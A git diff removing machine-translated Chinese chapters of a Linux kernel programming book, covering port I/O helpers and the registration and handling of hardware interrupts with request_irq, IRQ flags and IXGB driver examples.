驱动程序代码指定的内容相匹配。有趣的是,在树莓 Pi 上运行相同的命令不会产生任何结果;这是因为没有驱动程序或子系统使用任何 I/O 端口。与 MMIO 类似,当`request_region()`应用编程接口运行时,在`/proc/ioports`中生成一个条目,反之,当相应的`release_region()`应用编程接口运行时,该条目被删除。 - -现在,让我们快速提到一些关于端口输入/输出的事情 - -## 端口输入/输出–还有几点需要注意 - -作为一个司机作者,你应该注意 PIO 的一些或多或少的杂点: - -* 就像 MMIO 提供了重复的输入/输出例程(回想一下`ioread|iowrite[8|16|32|64]_rep()`助手),PMIO(或 PIO)为您想要多次读取或写入同一个输入/输出端口的情况提供了类似的重复功能。这些就是常规端口助手例程的所谓*字符串版本*;他们的名字中有一个`s`来提醒你这一点。内核源代码包含一个注释,巧妙地总结了这一点: - -```sh -// include/asm-generic/io.h/* - * {in,out}s{b,w,l}{,_p}() are variants of the above that repeatedly access a - * single I/O port multiple times. - */ -*we don't show the complete code below, just the 'signature' as such* -void insb(unsigned long addr, void *buffer, unsigned int count); -void insw(unsigned long addr, void *buffer, unsigned int count); -void insl(unsigned long addr, void *buffer, unsigned int count); - -void outsb(unsigned long addr, const void *buffer, unsigned int count); -void outsw(unsigned long addr, const void *buffer, unsigned int count); -void outsl(unsigned long addr, const void *buffer, unsigned int count); -``` - -因此,例如,`insw()`助手例程将从起始的`addr`,也就是一个输入/输出端口地址,总共读取`count`次(也就是说,*计数*2* 个字节,因为每个字节都是 2 字节或 16 位读取)到`buffer`处目的缓冲区的连续位置中(内部实现是`readsw()`内联函数)。 - -类似地,`outsw()`助手例程总共写入`count`次(即,*计数*2* 字节,因为每次都是 2 字节或 16 位读取),数据从位于`buffer`的源缓冲区写入位于`address`的输入/输出端口(内部实现为`writesw()`内联函数)。 - -* 接下来,内核似乎提供了相当于`in|out[b|w|l]()`的助手 APIs 也就是`in|out[b|w|l]_p()`。这里,`_p`后缀意味着输入/输出中引入了*暂停*或延迟。最初,这是指慢速外设;然而如今,这似乎已经成为一个向后兼容的争论点:“延迟 I/O”例程只不过是常规例程的简单包装器(实际上没有延迟)。 -* 还有 PIO API 的用户空间等价物(例如,您可以使用其中一个来编写用户空间驱动程序)。当然,在用户模式下成功发布`in|out[b|w|l]()`API 需要发布过程成功调用`iopl(2)` / `ioperm(2)`系统调用,这又需要根访问(或者你需要设置`CAP_SYS_RAWIO`能力位;出于安全目的,也可以这样做。) - -至此,我们结束了对端口输入/输出以及本章的讨论。 - -# 摘要 - -在本章中,您了解了为什么我们不能直接使用外围输入/输出内存。接下来,我们介绍了如何在 Linux 设备驱动程序框架内,访问和执行硬件(或外围设备)输入/输出内存上的输入/输出(读和写)。您了解到有两种广泛的方法可以做到这一点:通过 MMIO(通用方法)和 P(M)IO。 - -我们了解到,x86 等系统通常采用这两种方法,因为外设就是这样设计的。对于任何驾驶员来说,MMIO 和/或 PMIO 通道都是一项关键任务,毕竟这是我们与硬件对话和控制硬件的方式!不仅如此,很多底层总线驱动(针对 Linux 上的各种总线,如 I2C、USB、SPI、PCI 等)内部都使用 MMIO/PMIO 来执行外设 I/O,所以,完成这一章做得很好! - -在下一章中,我们将关注另一个与硬件相关的重要领域:理解、处理和处理硬件中断。 - -# 问题 - -假设您已经将一个 8 位寄存器库映射到一个外围芯片(通过您的驱动程序的`xxx_probe()`方法中的`devm_ioremap_resource()`API;假设它成功了)。现在,您需要读取第三个 8 位寄存器中的当前内容。下面是一些(伪)代码,您可以使用它们来实现这一点。研究它,找出里面的错误: - -```sh -char val; -void __iomem *base = devm_ioremap_resource(dev, r); -[...] -val = ioread8(base+3); -``` - -你能建议一个解决办法吗? - -Possible solution to this exercise can be found at [https://github.com/PacktPublishing/Linux-Kernel-Programming-Part-2/tree/main/solutions_to_assgn](https://github.com/PacktPublishing/Linux-Kernel-Programming-Part-2/tree/main/solutions_to_assgn). - -# 进一步阅读 - -* 现代(以及更老的)Linux 设备驱动程序书籍:与 LDM 合作: - * *Linux 设备驱动程序开发,Madieu* ,Packt,2017 年 10 月–这是一个提供现代和广泛覆盖的优秀资源。 - * *嵌入式处理器的 Linux 驱动开发*,Alberto Liberal de los Ríos,第二版,2018。 - * *基本的 Linux 设备驱动程序*,Sreekrishnan Venkateswaran,Pearson,2008 年 3 月–这是一本较老的书,但是提供了几乎所有类型的 Linux 驱动程序的极好的覆盖面! - * *Linux 设备驱动*,Rubini,Corbet,GK-哈特曼,O'Reilly,2005 年 2 月–这是旧的 Linux 驱动圣经;怎么可能被忽略呢? -* 设备树: - * 设备树规格:[https://www.devicetree.org/](https://www.devicetree.org/)。 - * *设备树参考*,Elinux:[https://elinux.org/Device_Tree_Reference](https://elinux.org/Device_Tree_Reference)。 - * *生成并编译设备树来配置您的 [Arietta](http://www.acmesystems.it/arietta) G25 板*:[http://linux.tanzilli.com/](http://linux.tanzilli.com/)的硬件设置–这提供了一个非常有趣和交互式的配置,可以为设备树执行! -* DMA: - * 文:*直接内存访问简介*,2003 年 10 月:[https://www . embedded . com/直接内存访问简介/](https://www.embedded.com/introduction-to-direct-memory-access/) - * LWN 核心指数:关于 DMA 的文章:[https://lwn.net/Kernel/Index/#Direct_memory_access](https://lwn.net/Kernel/Index/#Direct_memory_access) - * Linux 内核文档: *DMAEngine 文档*:[https://www . kernel . org/doc/html/latest/driver-API/DMAEngine/index . html](https://www.kernel.org/doc/html/latest/driver-api/dmaengine/index.html) - * *Linux 内核有一个“DMA 测试”内核模块*;文档:[https://www . kernel . org/doc/html/latest/driver-API/dmaengine/dmatest . html](https://www.kernel.org/doc/html/latest/driver-api/dmaengine/dmatest.html) - * *堆栈溢出:从内核到用户空间(DMA)*:[https://stackoverflow . com/questions/11137058/从内核到用户空间-dma](https://stackoverflow.com/questions/11137058/from-the-kernel-to-the-user-space-dma) - * Laurent Pinchart–*掌握 dma 和 iommu API | ELC 2014*:[https://www.youtube.com/watch?v=n07zPcbdX_w](https://www.youtube.com/watch?v=n07zPcbdX_w) -* 硬件/中央处理器: - * 英特尔 x86 体系结构,最小:* \ No newline at end of file diff --git a/docs/linux-kernel-prog-pt2/4.md b/docs/linux-kernel-prog-pt2/4.md deleted file mode 100644 index d40e555b..00000000 --- a/docs/linux-kernel-prog-pt2/4.md +++ /dev/null @@ -1,1557 +0,0 @@ -# 四、处理硬件中断 - -在这一章中,我们将集中讨论编写设备驱动程序的一个非常关键的方面:什么是硬件中断,更重要的是,作为驱动程序作者,您具体如何处理它们。事实上,很大一部分外设(您有兴趣为其编写设备驱动程序)通过断言硬件中断来指示它们需要通过操作系统或驱动程序立即采取行动。实际上,这是一个电信号,最终会向处理器的控制单元发出警报(通常,该警报必须将控制重定向到受影响外设的中断处理程序例程,因为它需要立即引起注意)。 - -为了处理这些类型的中断,你需要了解它们如何工作的一些基本原理;也就是说,操作系统如何处理它们,最重要的是,作为驱动程序作者,您应该如何与它们合作。作为一个基于虚拟机的丰富操作系统,Linux 在处理中断时需要并使用一些抽象,这又增加了一层复杂性。因此,您将从学习如何处理硬件中断的(非常)基本工作流程开始。然后,我们将看看像您这样的驱动程序作者主要感兴趣的主题:如何准确地分配一个 IRQ 并编写处理程序例程本身的代码——有一些非常具体的注意事项!然后,我们将介绍更新的线程中断模型背后的动机和用法,启用/禁用特定的 IRQ,通过 proc 查看有关 IRQ 线路的信息,以及什么是上半部分和下半部分以及如何使用它们。我们将通过回答几个关于中断处理的常见问题来结束这一章。 - -在本章中,我们将涵盖以下主题: - -* 硬件中断以及内核如何处理它们 -* 分配硬件 IRQ -* 实现中断处理程序例程 -* 使用线程中断模型 -* 启用和禁用 IRQ - -* 查看所有分配的中断(IRQ)线路 -* 理解和使用上半部分和下半部分 -* 回答了一些剩余的常见问题 - -我们开始吧! - -# 技术要求 - -本章假设您已经通过了*前言*部分*来充分利用本书*,并且已经适当地准备了一个运行 Ubuntu 18.04 LTS(或更高的稳定版本)的来宾 VM,并且安装了所有需要的软件包。如果没有,我强烈建议你先做这个。为了最大限度地利用这本书,我强烈建议您首先设置工作空间环境,包括克隆这本书的 GitHub 代码存储库,并以动手的方式进行处理。知识库可以在这里找到:[https://github . com/PacktPublishing/Linux-内核-编程-第 2 部分](https://github.com/PacktPublishing/Linux-Kernel-Programming-Part-2/tree/main/ch4)。 - -# 硬件中断以及内核如何处理它们 - -许多(如果不是大多数)外围控制器使用硬件中断来通知操作系统或设备驱动程序需要一些(通常是紧急的)操作。典型的例子包括网络适配器(网卡)、块设备(磁盘)、USB 设备、AV 设备、**人机接口设备** ( **HIDs** )如键盘、鼠标、触摸屏和视频屏幕、时钟/定时器芯片、DMA 控制器等。硬件中断背后的主要思想是效率。而不是不断轮询芯片(在电池供电的设备上),这会导致电池快速耗尽!),中断是使低级软件仅在需要时运行的手段。 - -这里有一个快速的硬件级概述(不做过多赘述):现代系统主板将会有某种中断控制器芯片,它通常被称为 x86 上的**【IO】【A】PIC**,是 **IO-【高级】可编程中断控制器**的缩写(x86 IO-APIC 的内核文档可以在[https://www . kernel . org/doc/html/latest/x86/i386/IO-apic . html # IO-apic](https://www.kernel.org/doc/html/latest/x86/i386/IO-APIC.html#io-apic)或 A【上找到 PIC(为了简单起见,我们将只使用通用术语 PIC)有一行连接到中央处理器的中断引脚。能够断言中断的板载外设将有一条到 PIC 的 IRQ 线。 - -**IRQ** is the common abbreviated term for **Interrupt ReQuest***;* it denotes the interrupt line (or lines) that's allocated to a peripheral device. - -假设有问题的外围设备是网络适配器(网卡),并且收到了网络数据包。(高度简化的)流程如下: - -1. 外围设备(网卡)现在需要发出(断言)硬件中断;因此,它在 PIC 上断言其线路(根据需要为低或高逻辑;所有这些都是硬件内部的)。 -2. PIC 在看到一条外围线路被置位后,将置位的线路值保存在寄存器中。 -3. 然后,PIC 置位中央处理器的中断引脚。 -4. 处理器上的控制单元在每一条机器指令运行后检查每个中央处理器上是否存在硬件中断。因此,如果硬件中断发生,它肯定会立即知道。然后,中央处理器将发出硬件中断(当然,中断可以被屏蔽;我们将在后面的*启用和禁用 IRQs* 部分更详细地讨论这一点。 -5. 操作系统上的低级(BSP/platform)代码会被钩住并做出反应(这通常是汇编级的代码);例如,在 ARM-32 上,硬件中断的低级 C 入口点是`arch/arm/kernel/irq.c:asm_do_IRQ()`。 -6. 从这里,操作系统执行代码路径,最终调用驱动程序的注册中断处理程序例程,该中断将由该例程提供服务。(同样,我们无意在本章中关注硬件层,甚至硬件中断的特定于 arch 的平台级细节。作为驱动程序作者,我想重点谈谈什么与您相关–如何处理它们!). - -硬件中断实际上是 Linux 操作系统的重中之重:它抢占当前正在运行的任何东西——无论是用户还是内核空间代码路径——以便运行。话虽如此,稍后,我们将会看到,在现代 Linux 内核上,有可能采用一种改变事物的线程中断模型;请耐心一点,我们会到达那里的! - -现在,让我们离题。我们提到了一个典型外围设备的例子,网络控制器(或网卡),基本上是说它通过硬件中断来服务包的发送和接收(发送/接收)。过去确实如此,但现代高速网卡(通常为 10 Gbps 或更高)并非总是如此。为什么呢?答案很有意思:中断会字面上中断处理器的极端速度会导致系统陷入一种被称为**活锁**的有问题的情况;无法应对极高中断需求的情况!与死锁一样(涵盖在[第 6 章](6.html)、*内核同步–第 1 部分*中),系统实际上倾向于冻结或挂起。那么,关于活锁,我们该怎么做呢?大多数高端现代网卡支持轮询操作模式;Linux 等现代操作系统有一个名为 **NAPI** 的网络接收路径基础设施(注意,这与婴儿无关——这是**新 API** 的缩写),允许驱动程序根据需求在中断和轮询模式之间切换,从而更有效地处理网络数据包(在接收路径上)。 - -既然我们已经介绍了硬件中断,那么让我们来了解一下作为驱动程序作者,您如何使用它们。本章剩余的大部分章节都将讨论这个问题。让我们从学习如何分配或注册一个 IRQ 线路开始。 - -# 分配硬件 IRQ - -通常,编写设备驱动程序的一个关键部分实际上是捕获和处理硬件中断的工作,您编写驱动程序的芯片会发出硬件中断。你是怎么做到的?问题是硬件中断从中断控制器芯片路由到中央处理器的方式差异很大;它非常特定于平台。好消息是,Linux 内核提供了一个抽象层来抽象掉所有硬件级别的差异;它被称为**通用中断(或 IRQ)处理层**。本质上,它在幕后执行所需的工作,并公开完全通用的 API 和数据结构。因此,至少在理论上,您的代码可以在任何平台上工作。这个**通用 IRQ 层**当然是我们,主要作为驱动作者,应该使用的;我们使用的所有 API 和助手例程都属于这一类。 - -回想一下,至少最初是核心内核处理中断(正如我们在上一节中所了解的)。然后它指的是链表的数组(这是 Linux 上非常常见的数据结构;这里,数组的索引是 IRQ 号)来计算要调用的驱动级函数。(没有过多赘述,列表上的节点是 IRQ 描述符结构;也就是`include/linux/interrupt.h:struct irqaction`。)但是,如何将驱动程序的中断处理函数放到这个列表中,以便当设备发生中断时内核可以调用它呢?啊,这就是关键:你向内核注册它。现代 Linux 至少提供了四种方法(API),您可以通过这些方法注册对中断线路的兴趣,如下所示: - -* `request_irq()` -* `devm_request_irq()` -* `request_threaded_irq()` -* `devm_request_threaded_irq()`(推荐!) - -让我们一个接一个地解决它们(有一些额外的例程是它们的微小变化)。在此过程中,我们将查看一些驱动程序的一些代码,并学习如何处理线程中断。有很多要学习和做的事情;让我们继续吧! - -## 用 request_irq()分配中断处理程序 - -就像我们看到的输入/输出内存和输入/输出端口一样,IRQ 线路被认为是内核负责的**资源**。`request_irq()`内核 API 可以被认为是驱动程序作者注册他们对 IRQ 的兴趣并将该资源分配给他们自己的传统方式,从而允许内核在中断异步到达时调用他们的处理程序。 - -It might strike you that this discussion seems very analogous to user space **signal handling**. There, we call the `sigaction(2)` system call to register interest in a signal. When the signal (asynchronously) arrives, the kernel invokes the registered signal handler (user mode) routine! - -这里有一些关键的区别。首先,用户空间信号处理器不是中断;第二,用户空间信号处理器纯粹在非特权用户模式下运行;相反,驱动程序的内核空间中断处理程序以内核权限在中断的上下文中(异步)运行! - -此外,有些信号实际上是**处理器异常**引发的软件副作用;广义来说,当出现非法情况时,处理器会引发**故障、陷阱或中止**,它必须“陷阱”(切换)到内核空间来处理。试图访问无效页面(或没有足够权限)的进程或线程会导致 MMU 引发故障或中止;这导致操作系统故障处理代码在进程上下文上(即在`current`上)发出`SIGSEGV`信号!然而,引发某种异常并不总是意味着有问题——系统调用只不过是操作系统的陷阱;也就是说,编程异常(通过 x86/ARM 上的`syscall / SWI`)。 - -内核源代码中的以下注释(在下面的代码片段中部分再现)告诉我们更多关于`request[_threaded]_irq()` API 的功能: - -```sh -// kernel/irq/manage.c:request_threaded_irq() -[...] - * This call allocates interrupt resources and enables the - * interrupt line and IRQ handling. From the point this - * call is made your handler function may be invoked. -``` - -实际上,`request_irq()`只是`request_threaded_irq()` API 的一个薄薄的包装;我们将在后面讨论这个 API。`request_irq()`原料药的签名如下: - -```sh -#include - -​int __must_check -request_irq(unsigned int irq, irq_handler_t (*handler_func)(int, void *), unsigned long flags, const char *name, void *dev); -``` - -始终包括`linux/interrupt.h`头文件。让我们逐一检查`request_irq()`的每个参数: - -* `int irq`:这是您试图注册或陷阱/钩入的 IRQ 线路。这意味着当这个特定的中断触发时,您的中断处理函数(第二个参数,`handler_func`)被调用。关于`irq`的问题是:我怎么知道 IRQ 号是什么?我们在[第 3 章](3.html)*处理硬件输入/输出内存*中,在(真正关键的)*获取设备资源*部分解决了这个一般性问题。快速重申一下,**一条 IRQ 线是一个资源**,这意味着它是以通常的方式获得的——在现代嵌入式系统上,它是通过解析**设备树** ( **DT** )获得的;旧的方法是硬编码特定于板的源文件中的值(放松,您将在 *IRQ 分配-现代方式-托管中断工具*部分看到一个通过 DT 查询 IRQ 行的例子)。在个人电脑类型的系统中,您可能不得不求助于询问设备所在的总线(对于冷设备)。在这里,PCI 总线(和朋友)很常见。内核甚至提供了 PCI 助手例程,您可以使用它来查询资源,从而找到分配的 IRQ 行。 -* `irq_handler_t (*handler_func)(int, void *)`:这个参数是一个指向中断处理函数的指针(在 C 语言中,只要提供函数名就足够了)。当然,这是硬件中断触发时异步调用的代码。它的工作是服务中断(稍后将详细介绍)。内核如何知道它在哪里?回想一下`struct irqaction`,它是由`request_irq()`例程填充的结构。其中一个成员是`handler`,设置为第二个参数。 -* `unsigned long flags`:这是`request_irq()`的第三个参数,是标志位掩码。当设置为零时,它实现其默认行为(我们将在*设置中断标志*部分讨论一些关键的中断标志)。 -* `const char *name`:这是拥有中断的代码/驱动程序的名称。通常,这被设置为设备驱动程序的名称(这样,`/proc/interrupts`可以显示使用中断的驱动程序的名称;这是最右边的一栏;详情见*查看所有分配的中断(IRQ)* *行*部分。) - -* `void *dev`:这是`request_irq()`的第五个也是最后一个参数,允许你将任何你想要的数据项(通常称为 cookie)传递给中断处理程序例程,这是一种常见的软件技术。在第二个参数中,您可以看到中断处理程序例程属于`void *`类型。这是传递该参数的地方。 - 大多数现实世界的驱动程序都有某种上下文或私有数据结构,它们在其中存储所有必需的信息。此外,这种上下文结构通常嵌入到驱动程序的设备(通常由子系统或驱动程序框架专门化)结构中。事实上,内核通常会帮助您这样做;例如,网络驱动程序使用`alloc_etherdev()`将其数据嵌入`struct net_device`,平台驱动程序将其数据嵌入`struct platform_device`的`platform_device.device.platform_data`成员,I2C 客户端驱动程序使用`i2c_set_clientdata()`助手将其私有/上下文数据“设置”到`i2c_client`结构,等等。 - -Note that when you're using a *shared* interrupt (we'll explain this shortly), you *must* initialize this parameter to a non-NULL value (otherwise, how will `free_irq()` know which handler to free?). If you do not have a context structure or anything specific to pass along, passing the `THIS_MODULE` macro here will do the trick (assuming you're writing the driver using the loadable kernel module framework; it's the pointer to your kernel module's metadata structure; that is, `struct module`). - -从`request_irq()`返回的值是一个整数,按照通常的`0/-E`内核惯例(参见配套指南 *Linux 内核编程-* *第 4 章*、*编写你的第一个内核模块–LKMs 第 1 部分*、*0/-E 返回惯例*一节),成功时为`0`,失败时为负`errno`值。正如`__must_check`编译器属性明确规定的那样,您当然需要检查故障情况(这在任何情况下都是很好的编程实践)。 - -**Linux Driver Verification (LDV) project**: In the companion guide *Linux Kernel Programming,* *Chapter 1* *- Kernel Workspace Setup*, in the section *The LDV - Linux Driver Verification - project*, we mentioned that this project has useful "rules" with respect to various programming aspects of Linux modules (drivers, mostly) as well as the core kernel. - -With regard to our current topic, here's one of the rules, a negative one, implying that you *cannot* do this: "*Making no delay when probing for IRQs*" ([http://linuxtesting.org/ldv/online?action=show_rule&rule_id=0037](http://linuxtesting.org/ldv/online?action=show_rule&rule_id=0037)). This discussion really applies to x86[_64] systems. Here, in some circumstances, you might need to physically probe for the correct IRQ line number. For this purpose, the kernel provides an "autoprobe" facility via the `probe_irq_{on|off}()` APIs (`probe_irq_on()` returns a bitmask of potential IRQ lines that can be used). The thing is, a delay is required between the `probe_irq_on()` and `probe_irq_off()` APIs; not invoking this delay can cause issues. The LDV page mentioned previously covers this in some detail, so do take a look. The actual API used to perform the delay is typically `udelay()`. Worry not, we cover it (and several others) in detail in [Chapter 5](5.html), *Working with Kernel Timers, Threads, and Workqueues* in the section *Delaying for a given time in the kernel*. - -在驱动程序的代码中,你应该在哪里调用`request_irq()` API(或者它的等价物)?对于几乎所有坚持现代 **Linux 设备模型** ( **LDM** )的现代驱动程序来说,`probe()`方法是正确的。 - -### 释放 IRQ 线路 - -相反,当卸载驱动程序或拆卸设备时,`remove()`(或`disconnect()`)方法是您应该调用逆向例程–`free_irq()`-将 IRQ 线路释放回内核的正确位置: - -```sh -void *free_irq(unsigned int, void *); -``` - -`free_irq()`的第一个参数是释放回内核的 IRQ 线。第二个参数也是传递给中断处理程序的相同值(通过最后一个参数传递给`request_irq()`,因此您通常必须用设备结构指针(嵌入您的驱动程序上下文或私有数据结构)或`THIS_MODULE`宏填充它。 - -返回值是成功时作为`request_irq()`例程的第四个参数传递的*设备名称*参数(是的,它是一个字符串),失败时作为`NULL`参数传递的。 - -作为驱动程序作者,您务必注意以下几点: - -* 当共享 IRQ 线路时,在调用`free_irq()`之前,禁用板上的中断 -* 仅从流程上下文调用它 - -此外,`free_irq()`只有在该 IRQ 行的任何和所有执行中断完成时才会返回。 - -在我们看一些代码之前,我们需要简单介绍两个额外的领域:中断标志和电平/边沿触发中断的概念。 - -## 设置中断标志 - -当使用`{devm_}request{_threaded}_irq()`API 分配中断(IRQ 线路)时(我们将很快介绍`request_irq()`的变体),您可以指定某些中断标志,这些标志将影响中断线路的配置和/或行为。负责这个的参数是`unsigned long flags`(正如我们在*中提到的,用 request_irq()* 部分分配您的中断处理程序)。重要的是要意识到这是一个位掩码;您可以按位“或”几个标志,以获得它们的组合效果。标志值大致分为几类:与 IRQ 线路共享、中断线程和暂停/恢复行为有关的标志。它们都在`IRQF_foo`格式的`linux/interrupt.h`标题中。以下是一些最常见的例子: - -* `IRQF_SHARED`:这样可以让你在几个设备之间共享 IRQ 线(PCI 总线上的设备需要)。 -* `IRQF_ONESHOT`:hard rq 处理程序执行完毕后,IRQ 不启用。该标志通常由线程中断使用(包含在*使用线程中断模型*部分),以确保在线程处理器完成之前,IRQ 保持禁用状态。 - -The `__IRQF_TIMER` flag is a special case. It's used to mark the interrupt as a timer interrupt. As seen in the companion guide *Linux Kernel Programming,* *Chapter 10*, *The CPU Scheduler - Part 1*, and *Chapter 11*, *The CPU Scheduler - Part 2*, when we looked at CPU scheduling, that the timer interrupt fires at periodic intervals and is responsible for implementing the kernel's timer/timeout mechanisms, scheduler-related housekeeping, and so on. - -定时器中断标志由这个宏指定: - -```sh -#define IRQF_TIMER(__IRQF_TIMER | IRQF_NO_SUSPEND | IRQF_NO_THREAD) -``` - -除了指定它被标记为定时器中断(`__IRQF_TIMER`)之外,`IRQF_NO_SUSPEND`标志还指定即使系统进入挂起状态,中断也保持启用状态。此外,`IRQF_NO_THREAD`标志指定此中断不能使用线程模型(我们将在*使用线程中断模型*一节中讨论这一点)。 - -我们还可以使用其他几个中断标志,包括`IRQF_PROBE_SHARED`、`IRQF_PERCPU`、`IRQF_NOBALANCING`、`IRQF_IRQPOLL`、`IRQF_FORCE_RESUME`、`IRQF_EARLY_RESUME`和`IRQF_COND_SUSPEND`。我们在这里不做明确的介绍(看一下`linux/interrupt.h`头文件中简要描述它们的注释头)。 - -现在,让我们简单了解一下什么是电平触发和边沿触发中断。 - -### 理解电平和边沿触发的中断——一个简短的注释 - -当外设断言中断时,中断控制器被触发以锁存该事件。它用来触发中央处理器硬件中断的电气特性分为两大类: - -* **电平触发**:电平变化(从非激活变为激活或置位)时触发中断;在它被取消断言之前,该行保持在断言状态。即使在您的处理程序返回之后也是如此;如果该行仍然被断言,您将再次得到中断。 -* **边沿触发**:当电平从非活动变为活动时,中断仅触发一次。 - -此外,中断可以在上升沿或下降沿(时钟)触发高电平或低电平。内核允许通过附加标志进行配置和指定,如`IRQF_TRIGGER_NONE`、`IRQF_TRIGGER_RISING`、`IRQF_TRIGGER_FALLING`、`IRQF_TRIGGER_HIGH`、`IRQF_TRIGGER_LOW`等。外围芯片的这些低级电气特性通常在 BSP 级代码中预先配置,或者在 DT 中指定。 - -电平触发中断迫使您理解中断源,以便您可以正确取消断言(或*确认*)它(在共享 IRQ 的情况下,在检查它是否适合您之后)。通常,这是您在维修时必须做的第一件事;否则,它会一直开火。例如,如果中断是在某个设备寄存器达到值`0xff`时触发的,那么驱动程序必须将寄存器设置为,比如说,`0x0`后才能解除置位!这很容易看出,但很难正确处理。 - -另一方面,边沿触发中断很容易处理,因为不需要了解中断源,但也很容易错过!一般来说,固件设计者使用边沿触发中断(尽管这不是规则)。同样,这些特性实际上处于硬件/固件的边界。您应该研究为您编写驱动程序的外设提供的数据表和任何相关文档(如原始设备制造商的应用笔记)。 - -You might by now realize that writing a device driver (well!) requires two distinct knowledge domains. First, you'll need to have a deep understanding of the hardware/firmware and how it works - it's **theory of operation** (**TOO**), its control/data planes, register banks, I/O memory, and so on. Second, you'll need to have a deep (enough) understanding of the OS (Linux) and its kernel/driver framework, how Linux works, memory management, scheduling, interrupt models, and so on. Also, you need to understand the modern LDM and kernel driver frameworks and how to go about debugging and profiling them. The better you get at these things, the better you'll be at writing the driver! - -我们将学习如何在*查看所有分配的(IRQ)线路*部分找到使用的触发类型。查看*进一步阅读*部分,了解更多关于 IRQ 边沿/电平触发的链接。 - -现在,让我们继续看一些有趣的东西。为了帮助您吸收到目前为止所学的知识,我们将从一个 Linux 网络驱动程序中查看一些小的代码片段! - -### 代码视图 1–IXGB 网络驱动程序 - -是时候看看代码了。让我们看一下英特尔 IXGB 网络适配器驱动程序(驱动 82597EX 系列中的几个英特尔网络适配器)的一小部分代码。在市场上的众多产品中,英特尔拥有一个名为 **IXGB 网络适配器**的产品线。控制器是英特尔 82597EX 这些通常是用于服务器的 10 千兆位以太网适配器(英特尔关于该控制器的产品简介可在[https://www . Intel . com/img/PDF/prod brief/pro 10g be _ LR _ SA-ds . PDF](https://www.intel.com/img/PDF/prodbrief/pro10GbE_LR_SA-DS.pdf))中找到: - -![](img/64a61ae6-eae6-494f-a160-2abc85728f77.png) - -Figure 4.1 – The Intel PRO/10GbE LR server adapter (IXGB, 82597EX) network adapter - -首先,让我们看看它调用`request_irq()`来分配 IRQ 行: - -```sh -// drivers/net/ethernet/intel/ixgb/ixgb_main.c -[...]int -ixgb_up(struct ixgb_adapter *adapter) -{ - struct net_device *netdev = adapter->netdev; - int err, irq_flags = IRQF_SHARED; - [...] - err = request_irq(adapter->pdev->irq, ixgb_intr, irq_flags, - netdev->name, netdev); - [...] -``` - -在前面的代码片段中,您可以看到驱动程序调用`request_irq()` API 在网络驱动程序的`ixgb_up()`方法中分配这个中断。当网络接口打开时(通过网络实用程序,如`ip(8)`或(较旧的)`ifconfig(8)`,调用该方法。让我们依次看看传递到`request_irq()`这里的参数: - -* 这里,从`pci_dev`结构的`irq`成员中查询 IRQ 号——第一个参数(因为该设备位于 PCI 总线上)。`pdev`结构指针位于名为`ixgb_adapter`的驱动程序上下文(或私有)元数据结构中。它的成员叫做`irq`。 -* 第二个参数是指向中断处理程序例程的指针(它通常被称为 *hardirq 处理程序*;我们将在后面更详细地讨论这一切);这里,是名为`ixgb_intr()`的函数。 -* 第三个参数是`flags`位掩码。您可以看到,在这里,驱动程序指定该中断是共享的(通过`IRQF_SHARED`标志)。这条总线上的设备共享它们的中断线路是 PCI 规范的一部分。这意味着驱动程序将需要验证中断确实是为它准备的。它在中断处理程序中这样做(它通常是非常特定于硬件的代码,通常检查给定寄存器的某个期望值)。 -* 第四个参数是处理这个中断的驱动程序的名称。它是通过专门的`net_device`结构的`name`成员获得的(这个驱动程序在其探测方法`ixgb_probe()`中调用`register_netdev()`,已经将这个成员注册到内核的网络框架中)。 -* 第五个参数是传递给中断处理程序例程的值。正如我们之前提到的,它(再次)是嵌入其中的专用`net_device`结构(内部有驱动程序的上下文结构(`struct ixgb_adapter`)!). - -反之,当网络接口关闭时,内核调用`ixgb_down()`方法。出现这种情况时,它会禁用 NAPI 并释放带有`free_irq()`的 IRQ 线路: - -```sh -void -ixgb_down(struct ixgb_adapter *adapter, bool kill_watchdog) -{ - struct net_device *netdev = adapter->netdev; - [...] - napi_disable(&adapter->napi); - /* waiting for NAPI to complete can re-enable interrupts */ - ixgb_irq_disable(adapter); - free_irq(adapter-pdev->irq, netdev); - [...] -``` - -既然你已经学会了如何通过`request_irq()`陷入硬件中断,我们需要了解一些关于编写中断处理程序例程本身代码的要点,这是处理中断的实际工作执行的地方。 - -# 实现中断处理程序例程 - -通常情况下,中断是硬件外设通知系统(实际上是驱动程序)数据可用并且应该获取数据的方式。这就是典型的驱动程序所做的:它们从设备缓冲区(或端口,或其他任何地方)获取输入数据。不仅如此,还有可能存在想要这些数据的用户模式进程(或线程)。因此,他们很可能已经打开了设备文件并发出了`read(2)`(或等效的)系统调用。这使得他们目前正在阻止(睡眠)这一事件;也就是说,来自设备的数据。 - -On detecting that data currently isn't available, the driver's *read* method typically puts the process context to sleep using one of the `wait_event*()` APIs. - -因此,一旦驱动程序的中断处理程序将数据提取到某个内核缓冲区,它通常会唤醒睡眠中的读取器。他们现在运行驱动程序的读取方法(在进程上下文中),提取数据,并根据需要将其传输到用户空间缓冲区。 - -本节分为两大部分。首先,我们将了解在中断处理程序中我们可以做什么和不可以做什么。然后,我们将介绍编写代码的机制。 - -## 中断上下文指南–做什么和不做什么 - -中断处理程序例程是典型的 C 代码,有一些警告。关于硬件中断处理程序的设计和实现的几个要点如下: - -* **处理程序在中断上下文中运行,所以不要阻塞**:首先,这个代码总是在中断上下文中运行;也就是说,原子上下文。在可抢占的内核上,抢占是禁用的,所以关于它能做什么和不能做什么有一些限制。特别是,它不能做任何直接或间接调用调度程序(`schedule()`)的事情! - 实际上,您**无法**执行以下操作: - * 在内核和用户空间之间传输数据,因为这可能会导致页面错误,这在原子上下文中是不允许的。 - * 在内存分配中使用`GFP_KERNEL`标志。您必须使用`GFP_ATOMIC`标志,这样分配才不会阻塞-分配要么成功,要么立即失败。 - * 调用任何阻塞的应用编程接口(也就是说,调用`schedule()`)。换句话说,它必须是纯粹的非阻塞代码路径。(我们在配套指南 *Linux 内核编程-* *第 8 章*、*模块作者的内核内存分配–第 1 部分*中的*从不在中断或原子上下文中休眠*一节中详细介绍了原因)。 -* **中断屏蔽**:默认情况下,当您的中断处理程序正在运行时,**您的处理程序正在执行的本地 CPU 内核上的所有**中断都被屏蔽(禁用),并且您正在处理的特定中断在所有内核上被屏蔽**。因此,您的代码本质上是可重入安全的。** -*** **保持快速!:**你正在编写的代码会字面上打断其他流程——系统在你粗暴打断它之前正在运行的其他“业务”;因此,您必须尽可能快地做需要做的事情,然后返回,允许中断的代码路径继续。重要的系统软件指标包括最差情况中断长度和最差情况中断禁用时间(我们将在本章末尾的*测量指标和延迟*部分对此进行更多介绍)。** - - **这些要点非常重要,值得更多的细节,因此我们将在下面的小节中更全面地介绍它们。 - -### 